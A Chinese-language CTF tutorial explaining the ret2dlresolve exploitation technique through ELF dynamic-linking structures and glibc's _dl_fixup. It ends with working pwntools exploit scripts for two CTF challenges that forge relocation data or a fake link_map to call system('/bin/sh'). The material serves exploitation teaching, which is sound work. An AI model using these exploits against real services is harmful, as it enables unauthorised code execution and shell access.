需要利用 ret2dlresolve 攻击的题目的最大特征是不提供 libc 。另外如果使用 ret2dlresolve 则不能使用 patchelf 修改 elf 文件,因为这样会移动延迟绑定相关的结构。
ret2libc 中动态链接时进行延迟绑定是需要通过dl_runtime_resolve
函数进行重定位的。如果我们可以控制相应的参数及其对应地址内容,就可以控制解析的函数了。
同时进行 ret2 dlresolve的一个必要条件是程序必须是动态链接的,毕竟只有动态链接的程序才会存在dl_runtime_resolve
这个函数。
相关结构 主要有 .dynamic
、.dynstr
、.dynsym
和 .rel.plt
四个重要的 section 。
结构及关系如下如图(以 32 位为例):
Dyn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
Dyn 结构体用于描述动态链接时需要使用到的信息,其成员含义如下:
d_tag
表示标记值,指明了该结构体的具体类型。比如,DT_NEEDED
表示需要链接的库名,DT_PLTRELSZ
表示 PLT 重定位表的大小等。
d_un
是一个联合体,用于存储不同类型的信息。具体含义取决于 d_tag
的值。
如果 d_tag
的值是一个整数类型,则用 d_val
存储它的值。
如果 d_tag
的值是一个指针类型,则用 d_ptr
存储它的值。
Sym 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
Sym 结构体用于描述 ELF 文件中的符号(Symbol)信息,其成员含义如下:
st_name
:指向一个存储符号名称的字符串表的索引,即字符串相对于字符串表起始地址的偏移 。
st_info
:如果 st_other
为 0 则设置成 0x12 即可。
st_other
:决定函数参数 link_map
参数是否有效。如果该值不为 0 则直接通过 link_map
中的信息计算出目标函数地址。否则需要调用 _dl_lookup_symbol_x
函数查询出新的 link_map
和 sym
来计算目标函数地址。
st_value
:符号地址相对于模块基址的偏移值。
Rel 1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; } Elf64_Rel;
Rel 结构体用于描述重定位(Relocation)信息,其成员含义如下:
r_offset
:加上传入的参数 link_map->l_addr
等于该函数对应 got 表地址。
r_info
:符号索引的低 8 位(32 位 ELF)或低 32 位(64 位 ELF)指示符号的类型这里设为 7 即可,高 24 位(32 位 ELF)或高 32 位(64 位 ELF)指示符号的索引即 Sym
构造的数组中的索引。
link_map 1 2 3 4 5 6 7 struct link_map { ElfW(Addr) l_addr; ... ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; };
link_map
是存储目标函数查询结果的一个结构体,我们主要关心 l_addr
和 l_info
两个成员即可。
l_addr
:目标函数所在 lib 的基址。
l_info
:Dyn
结构体指针,指向各种结构对应的 Dyn
。
l_info[DT_STRTAB]
:即 l_info
数组第 5 项,指向 .dynstr
对应的 Dyn
。
l_info[DT_SYMTAB]
:即 l_info
数组第 6 项,指向 Sym
对应的 Dyn
。
l_info[DT_JMPREL]
:即 l_info
数组第 23 项,指向 Rel
对应的 Dyn
。
_dl_runtime_resolve
函数_dl_runtime_resolve
函数的作用可以看一下 ret2libc 中 linux 延迟绑定机制的原理介绍图。这里详细介绍的是该函数的具体实现。
其中 _dl_runtime_resolve
的核心函数为 _dl_fixup
函数,这里是为了避免 _dl_fixup
传参与目标函数传参干扰(_dl_runtime_resolve
函数通过栈传参然后转换成 _dl_fixup
的寄存器传参)以及调用目标函数才在 _dl_fixup
外面封装一个 _dl_runtime_resolve
函数。_dl_fixup
函数的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]); const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]); #define reloc_offset reloc_arg * sizeof(PLTREL) const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG(); flags |= DL_LOOKUP_GSCOPE_LOCK; }#ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL;#endif result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG();#ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL;#endif value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value(l, reloc, value); if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value)); if (__glibc_unlikely(GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, reloc, rel_addr, value); }
需要注意的是 _dl_fixup
中会有如下判断,根据这个判断决定了重定位的策略。
1 if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 )
_dl_fixup
函数在计算出目标函数地址并更新 got 表之后会回到 _dl_runtime_resolve
函数,之后 _dl_runtime_resolve
函数会调用目标函数 。
利用条件
dl_resolve
不会检查对应的参数是否越界。
dl_resolve
函数最后解析依赖于所给定的字符串。
原理
首先使用link_map
访问.dynamic
,分别取出.dynstr
、.dynsym
、.rel.plt
的地址
.rel.plt
+参数reloc_arg
,求出当前函数的重定位表项Elf32Rel
的指针,记作rel
rel
的r_info
>>8作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
.dynstr
+sym
->st_name
得出符号名字符串指针。
在动态链接库查找这个函数地址,并且把地址赋给*rel -> r_offset
,即GOT表
调用这个函数
32 位 ret2dlresolve 在 32 位下我们可以利用 ELFW(ST_VISIBILITY) (sym->st_other)
为 0 时的执行流程进行控制流劫持,因为这个执行流程会自动计算目标函数的地址,不需要知道 libc 具体版本 ,适用性更强。
其中 ELFW(ST_VISIBILITY) (sym->st_other)
为 0 时 _dl_runtime_resolve
函数的具体执行流程为:
用 link_map
访问 .dynamic
,取出 .dynstr
, .dynsym
, .rel.plt
的指针。
.rel.plt + 第二个参数
求出当前函数的重定位表项 Elf32_Rel
的指针,记作 rel
。
rel->r_info >> 8
作为 .dynsym
的下标,求出当前函数的符号表项 Elf32_Sym
的指针,记作 sym
。
.dynstr + sym->st_name
得出符号名字符串指针。
在动态链接库查找这个函数的地址,并且把地址赋值给 *rel->r_offset
,即 GOT 表。
调用这个函数。
改写 .dynamic 的 DT_STRTAB 这个只有在 checksec 时 NO RELRO
可行,即 .dynamic
可写。因为 ret2dl-resolve
会从 .dynamic
里面拿 .dynstr
字符串表的指针,然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当 resolve 的时候,就能 resolve 成我们所指定的任意库函数。
操纵第二个参数,使其指向我们所构造的 Elf32_Rel 由于 _dl_runtime_resolve
函数各种按下标取值的操作都没有进行越界检查,因此如果 .dynamic
不可写就操纵 _dl_runtime_resolve
函数的第二个参数,使其访问到可控的内存,然后在该内存中伪造 .rel.plt
,进一步可以伪造 .dynsym
和 .dynstr
,最终调用目标函数。
可以看出,程序主体部分是一个非常简单的栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <string.h> #include <unistd.h> void vuln () { char buf[0x100 ]; puts ("please input:" ); read(0 , buf, 0x300 ); }int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); vuln(); return 0 ; }
由于溢出长度有限,因此首先需要栈迁移到其他地址处。
为了调用 _dl_runtime_resolve
函数,可以把接下来 rop 中的返回地址设为该函数的 plt 表地址。该地址对应的汇编指令如下:
可以看出 _dl_runtime_resolve(link_map_obj, reloc_offset)
的参数1 link_map_obj
被push
到栈中,在此之前,栈顶一定是参数2 reloc_arg
。因此构造的 rop 中接下来的值是伪造的参数2。接下来 rop 链的内容是目标函数的返回地址和参数(具体 rop 链为什么这么构造可以看前面 ret2libc 中 linux 延迟绑定机制的原理介绍图)。
之后就是伪造那 3 个结构,具体见下图。
注意:如果 patchelf 修改了 ELF 文件,那么这些表的偏移会发生改变。
例题
2015-xdctf-pwn200
查保护,只存在栈不可执行保护。
1 2 3 4 5 6 Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf def payload (): global sh bssHigh = 0x804a000 readAddr = 0x8048508 leaveRetAddr = 0x804851a retAddr = 0x804851b rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol='system' , args=["/bin/sh" ]) rop.read(0 , dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() sl(b'0' *112 + p32(retAddr) + raw_rop) sl(dlresolve.payload) ia() payload()
64 位 ret2dlresolve 64 位下伪造时(.bss
段离 .dynsym
太远) reloc->r_info
也很大,最后使得访问 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
时程序访存出错,导致程序崩溃。因此我们退而求其次选择 ELFW(ST_VISIBILITY) (sym->st_other)
不为 0 时时的程序执行流程,此时计算的目标函数地址为 l->l_addr + sym->st_value
。
虽然这种方法无法在不知道 libc 版本的情况下完成利用,但是可以在不泄露 libc 基址的情况下完成利用。
为了实现 64 位的 ret2dlresolve ,我们需要作如下构造:
resolve
函数传入的第二个参数为 0 ,从而从 Elf64_Rel
数组中找到第一个 Elf64_Rel
。
为了避免更新 got 表时内存访问错误,Elf64_Rel
的 r_offset
加上 link_map->l_addr
需要指向可读写内存。
Elf64_Rel
的 r_info
的低 32 比特设置为 ELF_MACHINE_JMP_SLOT
即 7 。
为了避免下面这行代码访存错误,需要让 l_info[5]
指向可读写内存。
1 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
Elf64_Rel
的 r_info
的高 32 比特设置为 0 这样找的就是 Elf64_Sym
数组中的第一个 Elf64_Sym
。
link_map->l_info[6]->d_un.dptr
指向 puts@got - 8
这样就伪造出 Elf64_Sym
的 st_value
为 puts
函数地址,同时 st_order
也大概率为非 0 。
link_map
的 l_addr
设置为 &system - &puts
,这样 l->l_addr + sym->st_value
结果就是 system
函数地址。
例题
2023Newstar dlresolve
看名字就知道要让我们使用 ret2dlresolve 的方式进行攻击,
pwntools 是集成了一把梭的工具的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf def payload (): global sh bssHigh = 0x404500 readAddr = 0x401192 leaveRetAddr = 0x4011a9 retAddr = 0x4011aa rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol='system' , args=["/bin/sh" ]) rop.read(0 , dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() sl(b'0' *120 + p64(retAddr) + raw_rop) sl(dlresolve.payload) ia() payload()
官方 wp 的 exp,显然不如使用 pwntools 的集成工具便捷。
而且生成的 payload 也要比 pwntools 的集成工具生成的要长。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher import * context(os = "linux" , arch = "amd64" , log_level= "debug" ) p =remote('node4.buuoj.cn' ,27108 ) elf = ELF('./111' ) libc = ELF('./libc-2.31.so' ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] vuln_addr = 0x401170 plt0 = 0x401020 bss = 0x404040 bss_stage =bss + 0x100 l_addr =libc.sym['system' ] -libc.sym['read' ] pop_rdi = 0x000000000040115e pop_rsi = 0x000000000040116b plt_load =p64(plt0+6 ) def fake_Linkmap_payload (fake_linkmap_addr,known_func_ptr,offset ): linkmap = p64(offset & (2 ** 64 - 1 )) linkmap += p64(0 ) linkmap += p64(fake_linkmap_addr + 0x18 ) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1 )) linkmap += p64(0x7 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(known_func_ptr - 0x8 ) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68 ,b'A' ) linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38 ) linkmap = linkmap.ljust(0xf8 ,b'A' ) linkmap += p64(fake_linkmap_addr + 0x8 ) return linkmap fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr) payload = flat( b'a' *120 ,pop_rdi, 0 ,pop_rsi ,bss_stage ,read_plt ,pop_rsi ,0 ,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0 ) p.sendline(payload) p.send(fake_link_map) p.interactive()
参考
参考:ctf-wiki 参考:看雪pwn探索篇